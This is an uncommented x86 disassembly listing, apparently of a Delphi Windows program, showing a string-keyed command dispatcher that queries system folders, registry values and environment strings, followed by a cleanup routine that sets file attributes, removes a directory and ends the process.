cmp byte [ebp - 0x595], 0
jne 0x5aa096
mov dword [ebp - 0x564], 0x26
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x2b
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 8
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 9
jmp case.default.0x5a9da7
lea eax, [ebp - 0x3c0]
call fcn.00405a98
call fcn.0058e318
test al, al
je 0x5aa104
mov eax, dword [0x5dcca4]
mov edx, 0x5ade30
call fcn.00405ec0
jne 0x5aa104
lea eax, [ebp - 0x23f4]
call fcn.0058e15c
mov eax, dword [ebp - 0x23f4]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
cmp dword [ebp - 0x3c0], 0
jne case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x23f8]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x23f8]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
mov eax, esi
call fcn.00402fdc
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x15
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x23fc]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x23fc]
lea edx, [ebp - 0x3c0]
call fcn.00589dcc
mov eax, esi
call fcn.00402fdc
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5af99c
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5aa283
xor eax, eax
push ebp
push 0x5aa26e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af9e8
mov eax, dword [ebp - 0x554]
call fcn.00431090
cmp dword [ebp - 0x3c0], 0
je 0x5aa264
lea edx, [ebp - 0x2400]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0x2400]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5af9f8
call fcn.00405db0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5aa283
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5afa2c
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5aa39c
xor eax, eax
push ebp
push 0x5aa32a
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5afa50
mov eax, dword [ebp - 0x554]
call fcn.00431090
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5aa33f
cmp dword [ebp - 0x3c0], 0
je 0x5aa391
mov eax, 0x41000
call fcn.00402fc0
mov dword [ebp - 0x550], eax
push 0x41000
mov eax, dword [ebp - 0x550]
push eax
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
lea eax, [ebp - 0x3c0]
mov edx, dword [ebp - 0x550]
call fcn.00405c90
mov eax, dword [ebp - 0x550]
call fcn.00402fdc
mov eax, dword [ebp - 0x554]
call fcn.00430994
cmp dword [ebp - 0x3c0], 0
jne 0x5aa51b
xor ecx, ecx
mov edx, 0x5afa64
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5aa51b
xor eax, eax
push ebp
push 0x5aa3f1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x3c0]
mov edx, 0x5af614
mov eax, dword [ebp - 0x554]
call fcn.00431090
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5aa406
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5aee24
call fcn.0041038c
test eax, eax
je 0x5aa463
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 0
je 0x5aa440
cmp dword [ebp - 0x3c0], 0
jne 0x5aa510
mov eax, dword [ebp - 0x554]
call fcn.00404b38
cmp dword [ebp - 0x564], 0xffffffff
je 0x5aa540
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x564]
call fcn.0058ae20
lea edx, [ebp - 0x2404]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov eax, dword [ebp - 0x2404]
push eax
lea eax, [ebp - 0x2408]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2408]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
cmp byte [ebp - 0x59d], 0
je 0x5aa5d6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x5aa5d6
dec dword [ebp - 0x5a4]
mov byte [ebp - 0x59d], 0
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae698
call fcn.00405ec0
jne 0x5aa5f4
mov byte [ebp - 0x59c], 1
jmp 0x5ad501
cmp dword [ebp - 0x5a4], 0
jle 0x5aa653
cmp byte [ebp - 0x5a6], 0
jne 0x5aa653
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6a8
call fcn.00405ec0
je 0x5aa62a
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae698
call fcn.00405ec0
jne 0x5aa636
mov byte [ebp - 0x59c], 1
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae68c
call fcn.00405ec0
jne 0x5aa653
dec dword [ebp - 0x5a4]
jmp 0x5ad501
mov byte [ebp - 0x5a6], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5afabc
call fcn.00405ec0
jne 0x5aa851
lea eax, [ebp - 0x240c]
push eax
lea ecx, [ebp - 0x2410]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2410]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x240c]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5aa72c
push 0
lea eax, [ebp - 0x2418]
push eax
lea eax, [ebp - 0x241c]
push eax
lea ecx, [ebp - 0x2420]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2420]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x241c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x2418]
lea edx, [ebp - 0x2414]
call fcn.005939c8
mov edx, dword [ebp - 0x2414]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2424]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2424]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c0], 0
je 0x5ad501
mov eax, dword [ebp - 0x3c0]
call fcn.005b0140
test al, al
jne 0x5aa7b6
lea edx, [ebp - 0x2428]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x2428]
push eax
lea eax, [ebp - 0x242c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x242c]
xor edx, edx
pop eax
call fcn.0059002c
cmp dword [ebp - 0x3d0], 0
jne 0x5aa805
call fcn.0058f89c
push edx
push eax
lea eax, [ebp - 0x2430]
call fcn.0040b2d8
mov eax, dword [ebp - 0x2430]
push eax
lea eax, [ebp - 0x2434]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2434]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x3d0]
call fcn.0058f9d8
push edx
push eax
lea eax, [ebp - 0x2438]
call fcn.0040b2d8
mov eax, dword [ebp - 0x2438]
push eax
lea eax, [ebp - 0x243c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x243c]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5afad8
call fcn.00405ec0
jne 0x5aa9f7
lea eax, [ebp - 0x2440]
push eax
lea ecx, [ebp - 0x2444]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2444]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2440]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5aa923
push 0
lea eax, [ebp - 0x244c]
push eax
lea eax, [ebp - 0x2450]
push eax
lea ecx, [ebp - 0x2454]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2454]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x2450]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x244c]
lea edx, [ebp - 0x2448]
call fcn.005939c8
mov edx, dword [ebp - 0x2448]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2458]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2458]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c0], 0
je 0x5ad501
mov eax, dword [ebp - 0x3c0]
call fcn.005b0140
test al, al
jne 0x5aa9ad
lea edx, [ebp - 0x245c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x245c]
push eax
lea eax, [ebp - 0x2460]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2460]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x3d0]
call fcn.00593558
lea edx, [ebp - 0x2464]
call fcn.00593690
mov eax, dword [ebp - 0x2464]
push eax
lea eax, [ebp - 0x2468]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2468]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5afaf4
call fcn.00405ec0
jne 0x5aaaf6
lea edx, [ebp - 0x246c]
mov eax, 0x5ae0e0
call fcn.0058fff8
mov edx, dword [ebp - 0x246c]
mov eax, dword [0x5d6094]
call fcn.00405aec
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x2470]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2470]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c0], 0
je 0x5ad501
mov eax, dword [ebp - 0x3c0]
call fcn.005b0140
test al, al
jne 0x5aaab7
lea edx, [ebp - 0x2474]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov eax, dword [ebp - 0x2474]
push eax
lea eax, [ebp - 0x2478]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2478]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x247c]
call fcn.0057cf7c
mov eax, dword [ebp - 0x247c]
push eax
lea eax, [ebp - 0x2480]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2480]
mov eax, dword [ebp - 0x3c0]
pop edx
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5afb10
call fcn.00405ec0
jne 0x5aac17
lea eax, [ebp - 0x2484]
push eax
lea ecx, [ebp - 0x2488]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2488]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2484]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5aabc8
push 0
lea eax, [ebp - 0x2490]
push eax
lea eax, [ebp - 0x2494]
push eax
lea ecx, [ebp - 0x2498]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2498]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x2494]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x2490]
lea edx, [ebp - 0x248c]
call fcn.005939c8
mov edx, dword [ebp - 0x248c]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x249c]
push eax
lea ecx, [ebp - 0x24a0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x24a0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x249c]
call fcn.005936d4
mov edx, eax
mov eax, dword [ebp - 0x3d0]
call fcn.005934b4
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5afb2c
call fcn.00405ec0
jne 0x5aae60
lea eax, [ebp - 0x24a4]
push eax
lea ecx, [ebp - 0x24a8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x24a8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x24a4]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5aace9
push 0
lea eax, [ebp - 0x24b0]
push eax
lea eax, [ebp - 0x24b4]
push eax
lea ecx, [ebp - 0x24b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x24b8]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x24b4]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x24b0]
lea edx, [ebp - 0x24ac]
call fcn.005939c8
mov edx, dword [ebp - 0x24ac]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x24c0]
push eax
lea ecx, [ebp - 0x24c4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x24c4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x24c0]
lea edx, [ebp - 0x24bc]
call fcn.005939c8
mov eax, dword [ebp - 0x24bc]
lea edx, [ebp - 0x560]
call fcn.0040b3e0
test al, al
je 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5afb48
call fcn.00405ec0
jne 0x5ab025
lea eax, [ebp - 0x24dc]
push eax
lea ecx, [ebp - 0x24e0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x24e0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x24dc]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x5aaf32
mov eax, dword [ebp - 0x438]
mov edx, 0x5afb68
call fcn.00405ec0
jne 0x5ab1ea
mov eax, dword [ebp - 0x538]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jg 0x597112
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad5cf
mov eax, 0x5afdd0
call fcn.005c1b10
mov eax, 0x5afde4
call fcn.005c1b10
push ebp
mov al, 1
call fcn.005940c0
pop ecx
mov eax, 0x5afe00
call fcn.005c1b10
call fcn.005aff04
test al, al
je 0x5ad82b
cmp byte [0x5dcc8c], 0
jne 0x5ad755
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
cmp dword [0x5dcd78], 3
jne 0x5ad64f
push dword [ebp - 0x3c0]
push dword [0x5dcd14]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
jmp 0x5ad670
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push 2
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
lea edx, [ebp - 0x27e0]
mov eax, 0x5ae058
call fcn.0058fff8
mov eax, dword [ebp - 0x27e0]
call fcn.005936d4
mov edx, eax
mov eax, dword [ebp - 0x3c0]
call fcn.004c95c0
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x27e4]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x27e4]
push 0x5ae484
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [0x5dcd8c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x5ad755
lea edx, [ebp - 0x27e8]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x27e8]
call fcn.0040b938
test al, al
je 0x5ad755
lea edx, [ebp - 0x27ec]
mov eax, 0x5ae058
call fcn.0058fff8
mov eax, dword [ebp - 0x27ec]
call fcn.005936d4
push eax
lea edx, [ebp - 0x27f0]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x27f0]
pop edx
call fcn.004c95c0
movzx ecx, byte [0x5dcc8d]
xor edx, edx
mov eax, dword [ebp - 0x3c0]
call fcn.00591b08
mov eax, 0x5afe1c
call fcn.005c1b10
mov eax, 0x5afe34
call fcn.005c1b10
mov eax, dword [ebp - 0x538]
call fcn.00404b38
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
mov eax, dword [ebp + 0x10]
call fcn.00404b38
mov eax, dword [0x5dcccc]
call fcn.00404b38
mov eax, 0x5afe48
call fcn.005c1b10
mov eax, 0x5afe5c
call fcn.005c1b10
cmp dword [0x5dcd24], 0
je 0x5ad7f0
mov eax, dword [0x5dcd24]
call fcn.0040b914
test al, al
je 0x5ad7f0
mov dl, 1
mov eax, dword [0x5dcd24]
call fcn.0042df70
mov dl, 1
mov eax, dword [0x5dcd24]
call fcn.0042df70
mov dl, 1
mov eax, dword [0x5dcd24]
call fcn.0042df70
mov eax, dword [0x5dcd24]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
mov eax, 0x5afe7c
call fcn.005c1b10
mov eax, 0x5afe9c
call fcn.005c1b10
mov eax, 0x5afec8
call fcn.005c1b10
mov eax, 0x5afef4
call fcn.005c1b10
mov eax, dword [0x5d5694]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ade05
lea eax, [ebp - 0x27f0]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x2660]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x24d0]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x2340]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x21b0]
mov edx, 0x5f
call fcn.00405abc
lea eax, [ebp - 0x2028]
call fcn.00405a98
lea eax, [ebp - 0x201c]
call fcn.00405a98
lea eax, [ebp - 0x1fa4]
call fcn.00405a98
lea eax, [ebp - 0x1f98]
call fcn.00405a98
lea eax, [ebp - 0x1f8c]
call fcn.00405a98
lea eax, [ebp - 0x2034]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x2024]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x2018]
mov edx, 0x1d
call fcn.00405abc
lea eax, [ebp - 0x1fa0]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1f94]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1f88]
mov edx, 0x3e
call fcn.00405abc
lea eax, [ebp - 0x1e90]
mov edx, 0x64
call fcn.00405abc
lea eax, [ebp - 0x1d00]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x1b74]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1b78]
call fcn.00405a98
lea eax, [ebp - 0x1b6c]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x19e0]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x1854]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x1858]
call fcn.00405a98
lea eax, [ebp - 0x184c]
mov edx, 0x62
call fcn.00405abc
lea eax, [ebp - 0x16bc]
call fcn.00405a98
lea eax, [ebp - 0x16c4]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0x16b8]
mov edx, 0x61
call fcn.00405abc
lea eax, [ebp - 0x1530]
call fcn.00405a98
lea eax, [ebp - 0x1534]
call fcn.00405a98
lea eax, [ebp - 0x152c]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x13a0]
mov edx, 0x47
call fcn.00405abc
lea eax, [ebp - 0x1284]
call fcn.004062a0
lea eax, [ebp - 0x1280]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x1274]
call fcn.004062a0
lea eax, [ebp - 0x1270]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x1264]
call fcn.004062a0
lea eax, [ebp - 0x1260]
call fcn.00405a98
lea eax, [ebp - 0x125c]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x1250]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x1240]
call fcn.004062a0
lea eax, [ebp - 0x123c]
mov edx, 7
call fcn.00405abc
lea eax, [ebp - 0x1220]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x1214]
call fcn.00405a98
lea eax, [ebp - 0x1210]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0x1204]
call fcn.004062a0
lea eax, [ebp - 0x1200]
mov edx, 0x60
call fcn.00405abc
lea eax, [ebp - 0x1080]
mov edx, 0x61
call fcn.00405abc
lea eax, [ebp - 0xef8]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0xefc]
call fcn.00405a98
lea eax, [ebp - 0xeec]
mov edx, 0x4d
call fcn.00405abc
lea eax, [ebp - 0xdb8]
call fcn.00407cbc
lea eax, [ebp - 0xdb4]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xd9c]
mov edx, dword [0x581530]
mov ecx, 4
call fcn.004068b0
lea eax, [ebp - 0xd8c]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0xd80]
mov edx, dword [0x581530]
mov ecx, 8
call fcn.004068b0
lea eax, [ebp - 0xd60]
mov edx, 3
call fcn.00405abc
lea eax, [ebp - 0xd54]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xd48]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xd30]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xd24]
mov edx, 0xa
call fcn.00405abc
lea eax, [ebp - 0xcfc]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xcf0]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xcd8]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xccc]
mov edx, 9
call fcn.00405abc
lea eax, [ebp - 0xca8]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc9c]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xc84]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc78]
mov edx, 9
call fcn.00405abc
lea eax, [ebp - 0xc54]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc48]
mov edx, 6
call fcn.00405abc
lea eax, [ebp - 0xc30]
mov edx, dword [0x581530]
mov ecx, 3
call fcn.004068b0
lea eax, [ebp - 0xc24]
mov edx, 0xd
call fcn.00405abc
lea eax, [ebp - 0xbf0]
call fcn.004062a0
lea eax, [ebp - 0xbec]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xbdc]
call fcn.004062a0
lea eax, [ebp - 0xbd4]
mov edx, 2
call fcn.00405abc
lea eax, [ebp - 0xbd8]
call fcn.00405a98
lea eax, [ebp - 0xbcc]
call fcn.00405a98
lea eax, [ebp - 0xbc8]
call fcn.004062a0
lea eax, [ebp - 0xbc4]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xbb4]
call fcn.004062a0
lea eax, [ebp - 0xbb0]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0xba0]
call fcn.004062a0
lea eax, [ebp - 0xb9c]
mov edx, 0x13
call fcn.00405abc
lea eax, [ebp - 0xb50]
call fcn.00407cbc
lea eax, [ebp - 0xb4c]
mov edx, 0x43
call fcn.00405abc
lea eax, [ebp - 0xa40]
mov edx, 0x63
call fcn.00405abc
lea eax, [ebp - 0x8b0]
call fcn.00405a98
lea eax, [ebp - 0x8b4]
call fcn.00405a98
lea eax, [ebp - 0x8ac]
mov edx, 0x1a
call fcn.00405abc
lea eax, [ebp - 0x534]
mov edx, dword [0x40a594]
call fcn.00406864
lea eax, [ebp - 0x474]
mov edx, 4
call fcn.00405abc
lea eax, [ebp - 0x464]
mov edx, 3
call fcn.004062b8
lea eax, [ebp - 0x458]
call fcn.00407cbc
lea eax, [ebp - 0x454]
call fcn.00407cbc
lea eax, [ebp - 0x450]
mov edx, 0x2a
call fcn.00405abc
lea eax, [ebp - 8]
call fcn.00405a98
lea eax, [ebp + 8]
call fcn.00405a98
ret